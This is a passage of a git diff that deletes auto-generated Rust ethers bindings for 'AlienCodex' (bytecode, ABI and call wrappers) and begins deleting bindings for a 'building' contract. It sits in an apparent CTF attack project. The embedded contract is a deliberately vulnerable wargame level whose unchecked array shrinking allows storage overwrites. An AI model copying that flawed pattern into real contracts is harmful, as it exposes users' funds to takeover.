\x01\x90\xF3[a\0\xE6a\x02xV[a\0\xE6a\x02\xD0V[a\x01$a\x03\xB2V[`@\x80Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x92\x16\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\0\xF8a\x03\xCFV[a\x01r`\x04\x806\x03` \x81\x10\x15a\x01kW`\0\x80\xFD[P5a\x03\xEDV[`@\x80Q\x91\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\0\xE6`\x04\x806\x03` \x81\x10\x15a\x01\x9AW`\0\x80\xFD[P5a\x04\x0BV[a\0\xE6`\x04\x806\x03` \x81\x10\x15a\x01\xB7W`\0\x80\xFD[P5s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16a\x04cV[`\0Tt\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x90\x04`\xFF\x16a\x01\xF8W\xFE[\x80`\x01\x83\x81T\x81\x10a\x02\x06W\xFE[`\0\x91\x82R` \x90\x91 \x01UPPV[`\0\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16t\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x17\x90UV[`\0Tt\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x90\x04`\xFF\x16\x81V[`\0Tt\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x90\x04`\xFF\x16a\x02\x9CW\xFE[`\x01\x80T\x90a\x02\xCD\x90\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x01a\x05\xD3V[PV[a\x02\xD8a\x03\xCFV[a\x03CW`@\x80Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01\x81\x90R`$\x82\x01R\x7FOwnable: caller is not the owner`D\x82\x01R\x90Q\x90\x81\x90\x03`d\x01\x90\xFD[`\0\x80T`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x90\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x90\x83\x90\xA3`\0\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x16\x90UV[`\0Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16[\x90V[`\0Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x163\x14\x90V[`\x01\x81\x81T\x81\x10a\x03\xFAW\xFE[`\0\x91\x82R` \x90\x91 \x01T\x90P\x81V[`\0Tt\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x90\x04`\xFF\x16a\x04/W\xFE[`\x01\x80T\x80\x82\x01\x82U`\0\x91\x90\x91R\x7F\xB1\x0E-Rv\x12\x07;&\xEE\xCD\xFDq~j2\x0C\xF4KJ\xFA\xC2\xB0s-\x9F\xCB\xE2\xB7\xFA\x0C\xF6\x01UV[a\x04ka\x03\xCFV[a\x04\xD6W`@\x80Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01\x81\x90R`$\x82\x01R\x7FOwnable: caller is not the owner`D\x82\x01R\x90Q\x90\x81\x90\x03`d\x01\x90\xFD[a\x02\xCD\x81s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16a\x05FW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R`\x04\x01\x80\x80` \x01\x82\x81\x03\x82R`&\x81R` \x01\x80a\x06\x1B`&\x919`@\x01\x91PP`@Q\x80\x91\x03\x90\xFD[`\0\x80T`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x80\x85\x16\x93\x92\x16\x91\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x91\xA3`\0\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x16s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[\x81T\x81\x83U\x81\x81\x11\x15a\x05\xF7W`\0\x83\x81R` \x90 a\x05\xF7\x91\x81\x01\x90\x83\x01a\x05\xFCV[PPPV[a\x03\xCC\x91\x90[\x80\x82\x11\x15a\x06\x16W`\0\x81U`\x01\x01a\x06\x02V[P\x90V\xFEOwnable: new owner is the zero address\xA2ebzzr1X \xB2\x7F I\xA8j\0X\x05y\x05Js|\x8C\x19N\xCA\x14\x17kR\x16yze\x9F\x1D1\x02\xF1\xD0dsolcC\0\x05\x11\x002"; - /// The bytecode of the contract. - pub static ALIENCODEX_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xBEW`\x005`\xE0\x1C\x80c\x8D\xA5\xCB[\x11a\0vW\x80c\x94\xBDui\x11a\0[W\x80c\x94\xBDui\x14a\x01UW\x80c\xB5\xC6E\xBD\x14a\x01\x84W\x80c\xF2\xFD\xE3\x8B\x14a\x01\xA1Wa\0\xBEV[\x80c\x8D\xA5\xCB[\x14a\x01\x1CW\x80c\x8F2\xD5\x9B\x14a\x01MWa\0\xBEV[\x80c3\xA8\xC4Z\x11a\0\xA7W\x80c3\xA8\xC4Z\x14a\0\xF0W\x80cG\xF5{2\x14a\x01\x0CW\x80cqP\x18\xA6\x14a\x01\x14Wa\0\xBEV[\x80c\x039\xF3\0\x14a\0\xC3W\x80c2\x8BR\xCB\x14a\0\xE8W[`\0\x80\xFD[a\0\xE6`\x04\x806\x03`@\x81\x10\x15a\0\xD9W`\0\x80\xFD[P\x805\x90` \x015a\x01\xD4V[\0[a\0\xE6a\x02\x16V[a\0\xF8a\x02WV[`@\x80Q\x91\x15\x15\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\0\xE6a\x02xV[a\0\xE6a\x02\xD0V[a\x01$a\x03\xB2V[`@\x80Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x92\x16\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\0\xF8a\x03\xCFV[a\x01r`\x04\x806\x03` \x81\x10\x15a\x01kW`\0\x80\xFD[P5a\x03\xEDV[`@\x80Q\x91\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\0\xE6`\x04\x806\x03` \x81\x10\x15a\x01\x9AW`\0\x80\xFD[P5a\x04\x0BV[a\0\xE6`\x04\x806\x03` \x81\x10\x15a\x01\xB7W`\0\x80\xFD[P5s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16a\x04cV[`\0Tt\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x90\x04`\xFF\x16a\x01\xF8W\xFE[\x80`\x01\x83\x81T\x81\x10a\x02\x06W\xFE[`\0\x91\x82R` \x90\x91 \x01UPPV[`\0\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16t\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x17\x90UV[`\0Tt\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x90\x04`\xFF\x16\x81V[`\0Tt\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x90\x04`\xFF\x16a\x02\x9CW\xFE[`\x01\x80T\x90a\x02\xCD\x90\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x01a\x05\xD3V[PV[a\x02\xD8a\x03\xCFV[a\x03CW`@\x80Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01\x81\x90R`$\x82\x01R\x7FOwnable: caller is not the owner`D\x82\x01R\x90Q\x90\x81\x90\x03`d\x01\x90\xFD[`\0\x80T`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x90\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x90\x83\x90\xA3`\0\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x16\x90UV[`\0Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16[\x90V[`\0Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x163\x14\x90V[`\x01\x81\x81T\x81\x10a\x03\xFAW\xFE[`\0\x91\x82R` \x90\x91 \x01T\x90P\x81V[`\0Tt\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x90\x04`\xFF\x16a\x04/W\xFE[`\x01\x80T\x80\x82\x01\x82U`\0\x91\x90\x91R\x7F\xB1\x0E-Rv\x12\x07;&\xEE\xCD\xFDq~j2\x0C\xF4KJ\xFA\xC2\xB0s-\x9F\xCB\xE2\xB7\xFA\x0C\xF6\x01UV[a\x04ka\x03\xCFV[a\x04\xD6W`@\x80Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01\x81\x90R`$\x82\x01R\x7FOwnable: caller is not the owner`D\x82\x01R\x90Q\x90\x81\x90\x03`d\x01\x90\xFD[a\x02\xCD\x81s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16a\x05FW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R`\x04\x01\x80\x80` \x01\x82\x81\x03\x82R`&\x81R` \x01\x80a\x06\x1B`&\x919`@\x01\x91PP`@Q\x80\x91\x03\x90\xFD[`\0\x80T`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x80\x85\x16\x93\x92\x16\x91\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x91\xA3`\0\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x16s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[\x81T\x81\x83U\x81\x81\x11\x15a\x05\xF7W`\0\x83\x81R` \x90 a\x05\xF7\x91\x81\x01\x90\x83\x01a\x05\xFCV[PPPV[a\x03\xCC\x91\x90[\x80\x82\x11\x15a\x06\x16W`\0\x81U`\x01\x01a\x06\x02V[P\x90V\xFEOwnable: new owner is the zero address\xA2ebzzr1X \xB2\x7F I\xA8j\0X\x05y\x05Js|\x8C\x19N\xCA\x14\x17kR\x16yze\x9F\x1D1\x02\xF1\xD0dsolcC\0\x05\x11\x002"; - /// The deployed bytecode of the contract. - pub static ALIENCODEX_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct AlienCodex(::ethers::contract::Contract); - impl ::core::clone::Clone for AlienCodex { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for AlienCodex { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for AlienCodex { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for AlienCodex { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(AlienCodex)) - .field(&self.address()) - .finish() - } - } - impl AlienCodex { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - ALIENCODEX_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - ALIENCODEX_ABI.clone(), - ALIENCODEX_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `codex` (0x94bd7569) - /// function - pub fn codex( - &self, - p0: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([148, 189, 117, 105], p0) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `contact` (0x33a8c45a) - /// function - pub fn contact( - &self, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([51, 168, 196, 90], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `isOwner` (0x8f32d59b) - /// function - pub fn is_owner( - &self, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([143, 50, 213, 155], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `makeContact` (0x328b52cb) - /// function - pub fn make_contact( - &self, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([50, 139, 82, 203], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `owner` (0x8da5cb5b) - /// function - pub fn owner( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([141, 165, 203, 91], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `record` (0xb5c645bd) - /// function - pub fn record( - &self, - content: [u8; 32], - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([181, 198, 69, 189], content) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `renounceOwnership` - /// (0x715018a6) function - pub fn renounce_ownership( - &self, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([113, 80, 24, 166], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `retract` (0x47f57b32) - /// function - pub fn retract( - &self, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([71, 245, 123, 50], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `revise` (0x0339f300) - /// function - pub fn revise( - &self, - i: ::ethers::core::types::U256, - content: [u8; 32], - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([3, 57, 243, 0], (i, content)) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `transferOwnership` - /// (0xf2fde38b) function - pub fn transfer_ownership( - &self, - new_owner: ::ethers::core::types::Address, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([242, 253, 227, 139], new_owner) - .expect("method not found (this should never happen)") - } - ///Gets the contract's `OwnershipTransferred` event - pub fn ownership_transferred_filter( - &self, - ) -> ::ethers::contract::builders::Event< - ::std::sync::Arc, - M, - OwnershipTransferredFilter, - > { - self.0.event() - } - /// Returns an `Event` builder for all the events of - /// this contract. - pub fn events( - &self, - ) -> ::ethers::contract::builders::Event< - ::std::sync::Arc, - M, - OwnershipTransferredFilter, - > { - self.0.event_with_filter(::core::default::Default::default()) - } - } - impl - From<::ethers::contract::Contract> for AlienCodex - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - #[derive( - Clone, - ::ethers::contract::EthEvent, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethevent( - name = "OwnershipTransferred", - abi = "OwnershipTransferred(address,address)" - )] - pub struct OwnershipTransferredFilter { - #[ethevent(indexed)] - pub previous_owner: ::ethers::core::types::Address, - #[ethevent(indexed)] - pub new_owner: ::ethers::core::types::Address, - } - ///Container type for all input parameters for the - /// `codex` function with signature `codex(uint256)` and - /// selector `0x94bd7569` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "codex", abi = "codex(uint256)")] - pub struct CodexCall(pub ::ethers::core::types::U256); - ///Container type for all input parameters for the - /// `contact` function with signature `contact()` and - /// selector `0x33a8c45a` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "contact", abi = "contact()")] - pub struct ContactCall; - ///Container type for all input parameters for the - /// `isOwner` function with signature `isOwner()` and - /// selector `0x8f32d59b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "isOwner", abi = "isOwner()")] - pub struct IsOwnerCall; - ///Container type for all input parameters for the - /// `makeContact` function with signature - /// `makeContact()` and selector `0x328b52cb` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "makeContact", abi = "makeContact()")] - pub struct MakeContactCall; - ///Container type for all input parameters for the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "owner", abi = "owner()")] - pub struct OwnerCall; - ///Container type for all input parameters for the - /// `record` function with signature `record(bytes32)` - /// and selector `0xb5c645bd` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "record", abi = "record(bytes32)")] - pub struct RecordCall { - pub content: [u8; 32], - } - ///Container type for all input parameters for the - /// `renounceOwnership` function with signature - /// `renounceOwnership()` and selector `0x715018a6` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "renounceOwnership", abi = "renounceOwnership()")] - pub struct RenounceOwnershipCall; - ///Container type for all input parameters for the - /// `retract` function with signature `retract()` and - /// selector `0x47f57b32` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "retract", abi = "retract()")] - pub struct RetractCall; - ///Container type for all input parameters for the - /// `revise` function with signature - /// `revise(uint256,bytes32)` and selector `0x0339f300` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "revise", abi = "revise(uint256,bytes32)")] - pub struct ReviseCall { - pub i: ::ethers::core::types::U256, - pub content: [u8; 32], - } - ///Container type for all input parameters for the - /// `transferOwnership` function with signature - /// `transferOwnership(address)` and selector - /// `0xf2fde38b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "transferOwnership", abi = "transferOwnership(address)")] - pub struct TransferOwnershipCall { - pub new_owner: ::ethers::core::types::Address, - } - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum AlienCodexCalls { - Codex(CodexCall), - Contact(ContactCall), - IsOwner(IsOwnerCall), - MakeContact(MakeContactCall), - Owner(OwnerCall), - Record(RecordCall), - RenounceOwnership(RenounceOwnershipCall), - Retract(RetractCall), - Revise(ReviseCall), - TransferOwnership(TransferOwnershipCall), - } - impl ::ethers::core::abi::AbiDecode for AlienCodexCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Codex(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Contact(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::IsOwner(decoded)); - } - if let Ok(decoded) = - ::decode( - data, - ) - { - return Ok(Self::MakeContact(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Owner(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Record(decoded)); - } - if let Ok(decoded) - = ::decode( - data, - ) { - return Ok(Self::RenounceOwnership(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Retract(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Revise(decoded)); - } - if let Ok(decoded) - = ::decode( - data, - ) { - return Ok(Self::TransferOwnership(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for AlienCodexCalls { - fn encode(self) -> Vec { - match self { - Self::Codex(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Contact(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::IsOwner(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::MakeContact(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Owner(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Record(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::RenounceOwnership(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Retract(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Revise(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::TransferOwnership(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for AlienCodexCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::Codex(element) => ::core::fmt::Display::fmt(element, f), - Self::Contact(element) => ::core::fmt::Display::fmt(element, f), - Self::IsOwner(element) => ::core::fmt::Display::fmt(element, f), - Self::MakeContact(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Owner(element) => ::core::fmt::Display::fmt(element, f), - Self::Record(element) => ::core::fmt::Display::fmt(element, f), - Self::RenounceOwnership(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Retract(element) => ::core::fmt::Display::fmt(element, f), - Self::Revise(element) => ::core::fmt::Display::fmt(element, f), - Self::TransferOwnership(element) => { - ::core::fmt::Display::fmt(element, f) - } - } - } - } - impl ::core::convert::From for AlienCodexCalls { - fn from(value: CodexCall) -> Self { Self::Codex(value) } - } - impl ::core::convert::From for AlienCodexCalls { - fn from(value: ContactCall) -> Self { Self::Contact(value) } - } - impl ::core::convert::From for AlienCodexCalls { - fn from(value: IsOwnerCall) -> Self { Self::IsOwner(value) } - } - impl ::core::convert::From for AlienCodexCalls { - fn from(value: MakeContactCall) -> Self { Self::MakeContact(value) } - } - impl ::core::convert::From for AlienCodexCalls { - fn from(value: OwnerCall) -> Self { Self::Owner(value) } - } - impl ::core::convert::From for AlienCodexCalls { - fn from(value: RecordCall) -> Self { Self::Record(value) } - } - impl ::core::convert::From for AlienCodexCalls { - fn from(value: RenounceOwnershipCall) -> Self { - Self::RenounceOwnership(value) - } - } - impl ::core::convert::From for AlienCodexCalls { - fn from(value: RetractCall) -> Self { Self::Retract(value) } - } - impl ::core::convert::From for AlienCodexCalls { - fn from(value: ReviseCall) -> Self { Self::Revise(value) } - } - impl ::core::convert::From for AlienCodexCalls { - fn from(value: TransferOwnershipCall) -> Self { - Self::TransferOwnership(value) - } - } - ///Container type for all return fields from the - /// `codex` function with signature `codex(uint256)` and - /// selector `0x94bd7569` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct CodexReturn(pub [u8; 32]); - ///Container type for all return fields from the - /// `contact` function with signature `contact()` and - /// selector `0x33a8c45a` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct ContactReturn(pub bool); - ///Container type for all return fields from the - /// `isOwner` function with signature `isOwner()` and - /// selector `0x8f32d59b` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct IsOwnerReturn(pub bool); - ///Container type for all return fields from the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct OwnerReturn(pub ::ethers::core::types::Address); -} diff --git a/attack/src/abi/building.rs b/attack/src/abi/building.rs deleted file mode 100644 index 737d76f..0000000 --- a/attack/src/abi/building.rs +++ /dev/null @@ -1,135 +0,0 @@ -pub use building::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod building { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::None, - functions: ::core::convert::From::from([( - ::std::borrow::ToOwned::to_owned("isLastFloor"), - ::std::vec![::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("isLastFloor"), - inputs: ::std::vec![::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: 